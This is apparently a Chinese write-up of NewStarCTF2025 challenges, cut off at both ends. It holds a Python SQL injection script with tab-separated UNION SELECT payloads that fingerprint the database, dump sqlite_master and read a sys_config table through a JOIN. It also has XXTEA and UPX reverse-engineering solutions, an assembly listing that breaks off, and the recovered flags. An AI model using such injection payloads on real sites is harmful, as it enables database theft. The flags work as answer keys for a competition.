6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests
import json
from colorama import init, Fore, Style
import sys
init(autoreset=True)

# --- 配置区 ---
BASE_URL = "https://.../query.php"
# 真实列数
KNOWN_COLUMN_COUNT = 5

def reconnaissance_scout():
"""
一个用于数据库指纹识别和结构探测的完整脚本
"""
print(f"{Fore.CYAN}[*] 目标 URL: {BASE_URL}")
print(f"{Fore.CYAN}[*] 已知列数: {KNOWN_COLUMN_COUNT}")
print("-" * 60)

# --- 步骤 1: 数据库指纹识别 ---
print(f"{Fore.YELLOW}[Step 1] 正在进行数据库指纹识别...")

# 构造一个必然会失败的查询,用于触发数据库特定的错误信息
# 我们查询一个几乎不可能存在的表名
payload_error = "0\tunion\tselect\t" + "\t,".join(["1"] * KNOWN_COLUMN_COUNT) + "\tfrom\ta_very_non_existent_table_123"
# 注意:上述 payload 包含了逗号,在本次特定挑战中无法使用。
# 因此,我们采用更直接的方法:查询一个不存在的表,并期望后端代码能返回错误。
# 这种方法依赖于后端是否会暴露数据库错误。
payload_error_no_comma = "0\tunion\tselect\t*\tfrom\ta_very_non_existent_table_123"
params_error = {'id': payload_error_no_comma}

db_type = "Unknown"

try:
print(f"{Style.DIM} -> 发送探测请求以触发错误...")
resp_error = requests.get(BASE_URL, params=params_error, timeout=10)
error_text = resp_error.text.lower()

# 根据不同数据库的典型错误信息进行判断
if "unable to prepare statement" in error_text:
db_type = "SQLite"
print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}SQLite")
elif "you have an error in your sql syntax" in error_text:
db_type = "MySQL"
print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}MySQL")
elif "syntax error at or near" in error_text:
db_type = "PostgreSQL"
print(f"{Fore.GREEN}[+] 指纹识别成功: {Style.BRIGHT}PostgreSQL")
else:
print(f"{Fore.YELLOW}[-] 指纹识别失败: 未能从错误信息中识别出数据库类型。")
print(f" 原始错误响应: {resp_error.text[:100]}")

except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[!] 指纹识别失败: 发生网络错误 {e}")
return # 如果无法识别数据库,后续步骤也无法进行

print("-" * 60)

# --- 步骤 2: 数据库结构探测 ---
if db_type == "Unknown":
print(f"{Fore.RED}[!] 由于未能识别数据库类型,无法进行结构探测")
return

print(f"{Fore.YELLOW}[Step 2] 正在探测 {db_type} 数据库的结构...")

# 根据已识别的数据库类型,选择查询对应的系统表
if db_type == "SQLite":
# SQLite 的元数据表是 sqlite_master,它恰好有5列,完美匹配!
payload_schema = "0\tunion\tselect\t*\tfrom\tsqlite_master"
elif db_type == "MySQL":
# MySQL 需要从 information_schema.tables 中构造5列
payload_schema = "0\tunion\tselect\ttable_catalog,table_schema,table_name,table_type,null\tfrom\tinformation_schema.tables"
print(f"{Fore.YELLOW}[!] MySQL 的 payload 包含逗号,在本次特定挑战中可能无法使用")
else:
print(f"{Fore.RED}[!] 尚未为 {db_type} 实现结构探测逻辑。")
return

params_schema = {'id': payload_schema}

try:
print(f"{Style.DIM} -> 正在查询系统表以获取所有表信息...")
resp_schema = requests.get(BASE_URL, params=params_schema, timeout=10)

if resp_schema.status_code == 200 and "error" not in resp_schema.text.lower():
print(f"{Fore.GREEN}[+] 成功获取数据库结构")

try:
schema_data = json.loads(resp_schema.text)
print(f"{Fore.CYAN}--- 数据库结构详情 ---")

for item in schema_data:
# 根据 SQLite 的返回格式进行解析
if db_type == "SQLite":
obj_type = item.get('id', 'N/A')
obj_name = item.get('cpu', 'N/A')
table_name = item.get('ram', 'N/A')
sql_statement = item.get('lastChecked', 'N/A')
if obj_type == "table":
print(f" - 表名: {Fore.WHITE}{Style.BRIGHT}{obj_name}{Style.RESET_ALL}")
print(f" - 所属表: {table_name}")
print(f" - 创建语句: {sql_statement}")

print(f"{Fore.CYAN}------------------------")

except json.JSONDecodeError:
print(f"{Fore.RED}[!] 获取结构成功,但响应不是有效的 JSON 格式")
print(f" 原始响应:\n{resp_schema.text}")
else:
print(f"{Fore.RED}[!] 结构探测失败")
print(f" 状态码: {resp_schema.status_code}, 响应: {resp_schema.text[:100]}")

except requests.exceptions.RequestException as e:
print(f"{Fore.RED}[!] 结构探测失败: 发生网络错误 {e}")


if __name__ == "__main__":
reconnaissance_scout()

测试结果:

  1. 查询不存在的表时,返回了包含 Unable to prepare statement 的错误,这是 SQLite 的典型特征。
  2. 查询 sqlite_master 成功,返回了数据库的完整结构:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
      - 表名: node_status
    - 所属表: node_status
    - 创建语句: CREATE TABLE node_status (
    node_id INTEGER PRIMARY KEY,
    cpu_usage VARCHAR(10),
    ram_usage VARCHAR(10),
    status VARCHAR(15) CHECK(status IN ('Online','Offline','Maintenance')),
    last_checked DATETIME DEFAULT CURRENT_TIMESTAMP
    )
    - 表名: sqlite_sequence
    - 所属表: sqlite_sequence
    - 创建语句: CREATE TABLE sqlite_sequence(name,seq)
    - 表名: sys_config
    - 所属表: sys_config
    - 创建语句: CREATE TABLE sys_config (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    config_key VARCHAR(50) UNIQUE,
    config_value TEXT
    )
    结论: 数据库为 SQLite,存在 node_status (5列), sqlite_sequence (2列), 和 sys_config (3列) 三个表,flag 很有可能在 sys_config

Step 5: 跨表拼接

目标 sys_config 是 3 列,而 UNION 需要 5 列,且我们无法用逗号添加 NULL 来补齐,sys_config 表无法通过常规的 UNION SELECT * 读取。既然无法直接读取,我们就必须创造一个列数为 5 的数据源。我们有 sys_config (3列) 和 sqlite_sequence (2列),在 SQL 中可以用 JOIN 将两个表横向连接,列数正好是 5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import json

# --- 配置 ---
# 请再次确认 URL 是否有效
BASE_URL = "https://.../query.php"

def main():
"""
通过 JOIN 两个列数不足的表来构造一个5列表,从而读取 sys_config 和 sqlite_sequence 的内容
"""

# 构造终极 Payload:
# 0 union select * from sys_config join sqlite_sequence
# 使用 \t 来代替空格
payload = "0\tunion\tselect\t*\tfrom\tsys_config\tjoin\tsqlite_sequence"
params = {'id': payload}

try:
resp = requests.get(BASE_URL, params=params, timeout=10)

print(f"\n-------------------- 最终查询结果 --------------------")
try:
parsed_json = json.loads(resp.text)
pretty_json = json.dumps(parsed_json, indent=4)
print(pretty_json)
except json.JSONDecodeError:
print(resp.text)
print(f"\n[!] 攻击失败。服务器返回了非预期的格式。")

except requests.exceptions.RequestException as e:
print(f"[!]: 发生网络错误: {e}")

print(f"------------------------------------------------------")


if __name__ == "__main__":
main()

服务器返回以下数据:

1
2
3
4
5
6
7
8
9
[
{
"id": 2,
"cpu": "flag",
"ram": "flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}",
"status": "sys_config",
"lastChecked": 2
}
]

FLAG

1
flag{4509550e-6eeb-4822-8b32-6c5015a1fc49}

Reverse

尤皮·埃克斯历险记(1)

Challenge

你是一个生活在希尔大陆的小有名气的骑士,有一天,一个自称代号「尤皮·埃克斯」(UP·X)的骑士找到你,“来和我切磋吧!”他朝你嚷道。“

你有什么特殊本领或者特长吗?”

“我的‘尤皮·埃克斯’盔甲非常精良,能保护我不被刀剑所伤,还会自动阻止试图解析我的盔甲的特殊能力的人!如果你不信,就来试试挑战我吧!”

【难度:简单】

Solution

upx 脱壳之后丢给 mcp 分析:

我们已拿到主逻辑与加密函数。判定条件为:

  • 先对输入做 encrypt,得到 out。
  • 再逐字节 out[i] XOR K 与目标字节比较,K=0x3C(无调试器)或 K=0xC3(被调试)。
  • 长度必须为 34。
  • 目标字节序列来源:24 字节字面量 isfhGJ\tt~~cU\ny\nuTjcj\tT~~cj + 8 字节 QWORD 0x5047B777E756451 + 2 字节 16753(LE 为 0x71,0x41)。

为直接复原 flag,我将用系统 Python 计算:先构造目标 34 字节,XOR 0x3C 得到期望的加密输出,再按 encrypt 规则反推原始输入:

  • 若 out 为 ‘0’..’9’,原字符为 chr(105 - out)
  • 否则试图解 letter:c = (-69 - out) mod 256,若为字母则取该字母
  • 否则原字符 = out(非字母数字保持不变)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import struct

def build_target_bytes():
# 24-byte literal with tabs/newlines exactly as in binary
literal = b"isfhGJ\tt~cU\ny\nuTjcj\tT~cj"
# overwrite next 8 bytes via QWORD at index 3 (little-endian)
qword = struct.pack("<Q", 0x5047B777E756451)
# then 2 bytes from n16753 (little-endian)
hword = struct.pack("<H", 16753)
# total expected length is 34 bytes
return literal + qword + hword

def invert_encrypt_byte(o):
# digit branch: if original C was '0'..'9', output O = 105 - C, so C = 105 - O
if 48 <= o <= 57:
return 105 - o
# letter branch: O = (-69 - C) mod 256, invert as C = (-69 - O) mod 256, must be alphabetic
c = (-69 - o) & 0xFF
if (65 <= c <= 90) or (97 <= c <= 122):
return c
# other chars unchanged through encrypt
return o

def recover_flag(K):
target = build_target_bytes()
out_enc = bytes(b ^ K for b in target) # this is encrypt(input) result used in comparison
orig = bytes(invert_encrypt_byte(o) for o in out_enc)
try:
return orig.decode("ascii")
except UnicodeDecodeError:
return orig.decode("latin1")

def main():
print("K=0x3C (no debugger):", recover_flag(0x3C))
print("K=0xC3 (debugger present):", recover_flag(0xC3))

if __name__ == "__main__":
print("Length check (should be 34):", len(build_target_bytes()))
main()

FLAG

1
flag{E4sy_R3v3rSe_e4Sy_eNcrypt10n}

OhNativeEnc

Challenge

安卓的native代码在哪呢

【难度:简单】

Solution

先查看主函数 MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package work.pangbai.ohnativeenc;

import android.content.DialogInterface;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import androidx.appcompat.app.AppCompatActivity;
import androidx.navigation.NavController;
import androidx.navigation.Navigation;
import androidx.navigation.ui.AppBarConfiguration;
import androidx.navigation.ui.NavigationUI;
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
import com.google.android.material.snackbar.Snackbar;
import work.pangbai.ohnativeenc.databinding.ActivityMainBinding;

/* loaded from: classes2.dex */
public class MainActivity extends AppCompatActivity {
private AppBarConfiguration appBarConfiguration;
private ActivityMainBinding binding;

@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
this.binding = inflate;
setContentView(inflate.getRoot());
setSupportActionBar(this.binding.toolbar);
NavController findNavController = Navigation.findNavController(this, R.id.nav_host_fragment_content_main);
AppBarConfiguration build = new AppBarConfiguration.Builder(findNavController.getGraph()).build();
this.appBarConfiguration = build;
NavigationUI.setupActionBarWithNavController(this, findNavController, build);
this.binding.fab.setOnClickListener(new View.OnClickListener() { // from class: work.pangbai.ohnativeenc.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
Snackbar.make(view, "喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗", 0).setAnchorView(R.id.fab).setAction("Action", (View.OnClickListener) null).show();
}
});
}

@Override // android.app.Activity
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.menu_main, menu);
return true;
}

@Override // android.app.Activity
public boolean onOptionsItemSelected(MenuItem menuItem) {
if (menuItem.getItemId() == R.id.action_settings) {
new MaterialAlertDialogBuilder(this).setTitle((CharSequence) "NewStarCTF2025").setMessage((CharSequence) "欢迎参加 NewStarCTF2025,你需要解出类似于 flag{} 的文本,并在比赛平台提交").setPositiveButton((CharSequence) "OK", (DialogInterface.OnClickListener) null).create().show();
return true;
}
return super.onOptionsItemSelected(menuItem);
}

@Override // androidx.appcompat.app.AppCompatActivity
public boolean onSupportNavigateUp() {
return NavigationUI.navigateUp(Navigation.findNavController(this, R.id.nav_host_fragment_content_main), this.appBarConfiguration) || super.onSupportNavigateUp();
}
}

里面提到 喵喵喵,需要分析的代码不在Java代码里呢,你能看看lib里的so文件吗,把 so 文件导出来用 IDA 打开分析,加密过程在 Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag 函数里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
char __fastcall Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag(__int64 a1, __int64 a2, __int64 a3)
{
const char *src; // rbx
unsigned int v4; // edi
unsigned int v5; // r11d
unsigned int v6; // r12d
unsigned int v7; // edx
unsigned int v8; // r14d
unsigned int v9; // r9d
unsigned int v10; // r10d
unsigned int v11; // r13d
unsigned int i; // r15d
__int64 v13; // rax
int v14; // r14d
char v15; // al
__int64 n29; // rdx
unsigned __int64 n0x1F; // rsi
bool v18; // zf
bool v19; // cf
unsigned int v21; // [rsp+10h] [rbp-78h]
char dest[16]; // [rsp+30h] [rbp-58h] BYREF
__int128 v23; // [rsp+40h] [rbp-48h]
unsigned __int64 v24; // [rsp+50h] [rbp-38h]

v24 = __readfsqword(0x28u);
src = (const char *)(*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0);
__android_log_print(4, "native", "input:%s", src);
v23 = 0;
*(_OWORD *)dest = 0;
strncpy(dest, src, 0x20u);
v4 = HIDWORD(v23);
v5 = *(_DWORD *)dest;
v6 = *(_DWORD *)&dest[4];
v7 = *(_DWORD *)&dest[12];
v8 = v23;
v9 = DWORD1(v23);
v10 = DWORD2(v23);
v11 = *(_DWORD *)&dest[8];
for ( i = 114514; i != 1488682; i += 114514 )
{
v21 = v8;
v13 = (i >> 2) & 3;
v14 = *(_DWORD *)&aThisisaxxteake[4 * v13];
v5 += (((v4 >> 5) ^ (4 * v6)) + ((v6 >> 3) ^ (16 * v4))) ^ ((i ^ v6) + (v14 ^ v4));
v6 += (((v5 >> 5) ^ (4 * v11)) + ((v11 >> 3) ^ (16 * v5)))
^ ((i ^ v11) + (v5 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 1)]));
v11 += (((v6 >> 5) ^ (4 * v7)) + ((v7 >> 3) ^ (16 * v6)))
^ ((i ^ v7) + (v6 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 2)]));
v7 += (((v11 >> 5) ^ (4 * v21)) + ((v21 >> 3) ^ (16 * v11)))
^ ((i ^ v21) + (v11 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int)v13 ^ 3)]));
v8 = v21 + ((((v7 >> 5) ^ (4 * v9)) + ((v9 >> 3) ^ (16 * v7))) ^ ((i ^ v9) + (v7 ^ v14)));
v9 += (((v8 >> 5) ^ (4 * v10)) + ((v10 >> 3) ^ (16 * v8)))
^ ((i ^ v10) + (v8 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 1)]));
v10 += (((v9 >> 5) ^ (4 * v4)) + ((v4 >> 3) ^ (16 * v9)))
^ ((i ^ v4) + (v9 ^ *(_DWORD *)&aThisisaxxteake[4 * ((i >> 2) & 3 ^ 2)]));
v4 += (((v10 >> 5) ^ (4 * v5)) + ((v5 >> 3) ^ (16 * v10)))
^ ((i ^ v5) + (v10 ^ *(_DWORD *)&aThisisaxxteake[4 * ((unsigned int)v13 ^ 3)]));
}
*(_DWORD *)dest = v5;
*(_DWORD *)&dest[4] = v6;
*(_DWORD *)&dest[8] = v11;
*(_DWORD *)&dest[12] = v7;
*(_QWORD *)&v23 = __PAIR64__(v9, v8);
*((_QWORD *)&v23 + 1) = __PAIR64__(v4, v10);
v15 = 1;
if ( (_BYTE)v5 == mm[0] )
{
n29 = -1;
while ( 1 )
{
if ( dest[n29 + 2] != mm[n29 + 2] )
return v15 ^ 1;
if ( n29 == 29 )
break;
n0x1F = n29 + 2;
v18 = dest[n29 + 3] == mm[n29 + 3];
n29 += 2;
if ( !v18 )
{
v19 = n0x1F < 0x1F;
LABEL_10:
v15 = v19;
return v15 ^ 1;
}
}
v19 = 0;
goto LABEL_10;
}
return v15 ^ 1;
}

这是 FirstFragment 类中的一个 JNI 函数,名为 checkFlag,它的作用就是接收输入并加密,最后与一个预设的正确结果进行比较

先找到两个关键变量:

1
2
.rodata:0000000000000670 aThisisaxxteake db 'ThisIsAXXteaKey',0  ; DATA XREF: Java_work_pangbai_ohnativeenc_FirstFragment_checkFlag+F8↓o
.rodata:0000000000000670 _rodata ends
1
2
3
4
5
6
.data:0000000000003080 mm              db 0B6h, 53h, 6Eh, 4Dh, 77h, 5Dh, 8, 0D2h, 0FBh, 2Ch, 63h
.data:0000000000003080 ; DATA XREF: LOAD:00000000000000F8↑o
.data:0000000000003080 ; LOAD:0000000000000408↑o ...
.data:000000000000308B db 1Eh, 0BBh, 7Bh, 1, 9Bh, 0F5h, 4, 6Ah, 0F4h, 0Eh, 84h
.data:0000000000003096 db 27h, 47h, 64h, 0A1h, 0E4h, 0D9h, 0EFh, 12h, 44h, 37h
.data:0000000000003096 _data ends

然后丢给 AI 写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import struct

def decrypt(v_orig, key):
# Create a mutable copy of the data
v = list(v_orig)

# Algorithm parameters from the C code
delta = 114514

# Loop backwards through the 12 rounds
for i in range(12, 0, -1):
sum_val = i * delta

# Key schedule calculation for this round
e = (sum_val >> 2) & 3
k0 = key[e ^ 0]
k1 = key[e ^ 1]
k2 = key[e ^ 2]
k3 = key[e ^ 3]

# These are the encrypted values at the start of this decryption round
v5_new, v6_new, v11_new, v7_new, v8_new, v9_new, v10_new, v4_new = v

# Reverse the cascade operation step-by-step
# 1. Recover original v4
term = ((((v10_new >> 5) ^ (v5_new << 2)) + ((v5_new >> 3) ^ (v10_new << 4))) ^ ((sum_val ^ v5_new) + (k3 ^ v10_new)))
v4_old = (v4_new - term) & 0xFFFFFFFF

# 2. Recover original v10
term = ((((v9_new >> 5) ^ (v4_old << 2)) + ((v4_old >> 3) ^ (v9_new << 4))) ^ ((sum_val ^ v4_old) + (k2 ^ v9_new)))
v10_old = (v10_new - term) & 0xFFFFFFFF

# 3. Recover original v9
term = ((((v8_new >> 5) ^ (v10_old << 2)) + ((v10_old >> 3) ^ (v8_new << 4))) ^ ((sum_val ^ v10_old) + (k1 ^ v8_new)))
v9_old = (v9_new - term) & 0xFFFFFFFF

# 4. Recover original v8
term = ((((v7_new >> 5) ^ (v9_old << 2)) + ((v9_old >> 3) ^ (v7_new << 4))) ^ ((sum_val ^ v9_old) + (k0 ^ v7_new)))
v8_old = (v8_new - term) & 0xFFFFFFFF

# 5. Recover original v7
term = ((((v11_new >> 5) ^ (v8_old << 2)) + ((v8_old >> 3) ^ (v11_new << 4))) ^ ((sum_val ^ v8_old) + (k3 ^ v11_new)))
v7_old = (v7_new - term) & 0xFFFFFFFF

# 6. Recover original v11
term = ((((v6_new >> 5) ^ (v7_old << 2)) + ((v7_old >> 3) ^ (v6_new << 4))) ^ ((sum_val ^ v7_old) + (k2 ^ v6_new)))
v11_old = (v11_new - term) & 0xFFFFFFFF

# 7. Recover original v6
term = ((((v5_new >> 5) ^ (v11_old << 2)) + ((v11_old >> 3) ^ (v5_new << 4))) ^ ((sum_val ^ v11_old) + (k1 ^ v5_new)))
v6_old = (v6_new - term) & 0xFFFFFFFF

# 8. Recover original v5
term = ((((v4_old >> 5) ^ (v6_old << 2)) + ((v6_old >> 3) ^ (v4_old << 4))) ^ ((sum_val ^ v6_old) + (k0 ^ v4_old)))
v5_old = (v5_new - term) & 0xFFFFFFFF

# Update the main data block for the next round of decryption
v = [v5_old, v6_old, v11_old, v7_old, v8_old, v9_old, v10_old, v4_old]

return v

# --- Key and Data ---
key_str = b'ThisIsAXXteaKey\0'
key = list(struct.unpack('<4I', key_str))

mm_bytes = bytes([
0xB6, 0x53, 0x6E, 0x4D, 0x77, 0x5D, 0x08, 0xD2, 0xFB, 0x2C, 0x63, 0x1E,
0xBB, 0x7B, 0x01, 0x9B, 0xF5, 0x04, 0x6A, 0xF4, 0x0E, 0x84, 0x27, 0x47,
0x64, 0xA1, 0xE4, 0xD9, 0xEF, 0x12, 0x44, 0x37
])
v_encrypted = list(struct.unpack('<8I', mm_bytes))

# --- Execute Decryption ---
decrypted_data = decrypt(v_encrypted, key)

# --- Format and Print Flag ---
flag = b""
for d in decrypted_data:
flag += struct.pack('<I', d)

print(flag.decode('utf-8').strip('\x00'))

FLAG

1
flag{Ur_G00d_@_n@tive_Func}

Forgotten_Code

Challenge

在清理一台古老服务器的硬盘时,我们发现了这个来自旧时代的编程遗迹。当时的开发者喜欢与机器直接对话。我们很难直接解读它,但也许你能重新整理这份文件,让你手上的工具再次发挥作用……

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
	.file	"chal.cpp"
.intel_syntax noprefix
.text
.section .text$_Z5scanfPKcz,"x"
.linkonce discard
.globl _Z5scanfPKcz
.def _Z5scanfPKcz; .scl 2; .type 32; .endef
.seh_proc _Z5scanfPKcz
_Z5scanfPKcz:
.LFB39:
push rbp
.seh_pushreg rbp
push rbx
.seh_pushreg rbx
sub rsp, 56
.seh_stackalloc 56
lea rbp, 48[rsp]
.seh_setframe rbp, 48
.seh_endprologue
mov QWORD PTR 32[rbp], rcx
mov QWORD PTR 40[rbp], rdx
mov QWORD PTR 48[rbp], r8
mov QWORD PTR 56[rbp], r9
lea rax, 40[rbp]
mov QWORD PTR -16[rbp], rax
mov rbx, QWORD PTR -16[rbp]
mov ecx, 0
mov rax, QWORD PTR __imp___acrt_iob_func[rip]
call rax
mov rcx, rax
mov rax, QWORD PTR 32[rbp]
mov r8, rbx
mov rdx, rax
call __mingw_vfscanf
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
add rsp, 56
pop rbx
pop rbp
ret
.seh_endproc
.section .text$_Z6printfPKcz,"x"
.linkonce discard
.globl _Z6printfPKcz
.def _Z6printfPKcz; .scl 2; .type 32; .endef
.seh_proc _Z6printfPKcz
_Z6printfPKcz:
.LFB45:
push rbp
.seh_pushreg rbp
push rbx
.seh_pushreg rbx
sub rsp, 56
.seh_stackalloc 56
lea rbp, 48[rsp]
.seh_setframe rbp, 48
.seh_endprologue
mov QWORD PTR 32[rbp], rcx
mov QWORD PTR 40[rbp], rdx
mov QWORD PTR 48[rbp], r8
mov QWORD PTR 56[rbp], r9
lea rax, 40[rbp]
mov QWORD PTR -16[rbp], rax
mov rbx, QWORD PTR -16[rbp]
mov ecx, 1
mov rax, QWORD PTR __imp___acrt_iob_func[rip]
call rax
mov rcx, rax
mov rax, QWORD PTR 32[rbp]
mov r8, rbx
mov rdx, rax
call __mingw_vfprintf
mov DWORD PTR -4[rbp], eax
mov eax, DWORD PTR -4[rbp]
add rsp, 56
pop rbx
pop rbp
ret
.seh_endproc
.globl ng
.data
.align 16
ng:
.ascii "sp\177vuctp|xeb|hv~"
.globl ezgm
.align 32
ezgm:
.long 1210405119
.long 710975774
.long -90350153
.long -1958008304
.long -745722482
.long 67707510
.long -86515270
.long -1728462407
.text
.globl _Z2fnPj
.def _Z2fnPj; .scl 2; .type 32; .endef
.seh_proc _Z2fnPj
_Z2fnPj:
.LFB188:
push rbp
.seh_pushreg rbp
mov rbp, rsp
.seh_setframe rbp, 0
sub rsp, 48
.seh_stackalloc 48
.seh_endprologue
mov QWORD PTR 16[rbp], rcx
mov DWORD PTR -4[rbp], 0
jmp .L6
.L7:
mov eax, DWORD PTR -4[rbp]
cdqe
lea rdx, ng[rip]
movzx eax, BYTE PTR [rax+rdx]
xor eax, 17
mov edx, DWORD PTR -4[rbp]
movsx rdx, edx
lea rcx, ng[rip]
mov BYTE PTR [rdx+rcx], al
add DWORD PTR -4[rbp], 1
.L6:
cmp DWORD PTR -4[rbp], 15
jle .L7
mov rax, QWORD PTR 16[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -8[rbp], eax
mov rax, QWORD PTR 16[rbp]
mov eax, DWORD PTR 4[rax]
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -16[rbp], 0
mov DWORD PTR -24[rbp], -1640531527
mov DWORD PTR -20[rbp], 0
jmp .L8
.L9:
lea rax, ng[rip]
mov eax, DWORD PTR [rax]
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR ng[rip+4]
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR ng[rip+8]
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR ng[rip+12]
mov DWORD PTR -40[rbp], eax
mov eax, DWORD PTR -24[rbp]
add DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -12[rbp]
sal eax, 4
mov edx, eax
mov eax, DWORD PTR -28[rbp]
add edx, eax
mov ecx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -16[rbp]
add eax, ecx
xor edx, eax
mov eax, DWORD PTR -12[rbp]
shr eax, 5
mov ecx, eax
mov eax, DWORD PTR -32[rbp]
add eax, ecx
xor eax, edx
add DWORD PTR -8[rbp], eax
mov eax, DWORD PTR -8[rbp]
sal eax, 4
mov edx, eax
mov eax, DWORD PTR -36[rbp]
add edx, eax
mov ecx, DWORD PTR -8[rbp]
mov eax, DWORD PTR -16[rbp]
add eax, ecx
xor edx, eax
mov eax, DWORD PTR -8[rbp]
shr eax, 5
mov ecx, eax
mov eax, DWORD PTR -40[rbp]
add eax, ecx
xor eax, edx
add DWORD PTR -12[rbp], eax
add DWORD PTR -20[rbp], 1
.L8:
cmp DWORD PTR -20[rbp], 31
jbe .L9
mov rax, QWORD PTR 16[rbp]
mov edx, DWORD PTR -8[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR 16[rbp]
add rax, 4
mov edx, DWORD PTR -12[rbp]
mov DWORD PTR [rax], edx
nop
add rsp, 48
pop rbp
ret
.seh_endproc
.section .rdata,"dr"
.LC0:
.ascii "Input your flag: \0"
.LC1:
.ascii "%s\0"
.LC2:
.ascii "flag{\0"
.LC3:
.ascii "Wrong length!\12\0"
.LC4:
.ascii "Wrong flag!\12\0"
.LC5:
.ascii "Right!\12\0"
.LC6:
.ascii "Invalid flag format!\12\0"
.text
.globl main
.def main; .scl 2; .type 32; .endef
.seh_proc main
main:
.LFB189:
push rbp
.seh_pushreg rbp
mov rbp, rsp
.seh_setframe rbp, 0
sub rsp, 144
.seh_stackalloc 144
.seh_endprologue
call __main
lea rax, .LC0[rip]
mov rcx, rax
call _Z6printfPKcz
lea rax, -112[rbp]
lea rcx, .LC1[rip]
mov rdx, rax
call _Z5scanfPKcz
lea rdx, .LC2[rip]
lea rax, -112[rbp]
mov r8d, 5
mov rcx, rax
call strncmp
test eax, eax
jne .L11
lea rax, -112[rbp]
mov rcx, rax
call strlen
sub rax, 1
movzx eax, BYTE PTR -112[rbp+rax]
cmp al, 125
jne .L11
lea rax, -112[rbp]
mov rcx, rax
call strlen
sub eax, 6
mov DWORD PTR -12[rbp], eax
cmp DWORD PTR -12[rbp], 32
je .L12
lea rax, .LC3[rip]
mov rcx, rax
call _Z6printfPKcz
mov eax, 0
jmp .L20
.L12:
mov DWORD PTR -4[rbp], 0
jmp .L14
.L15:
mov eax, DWORD PTR -4[rbp]
sal eax, 3
cdqe
lea rdx, 5[rax]
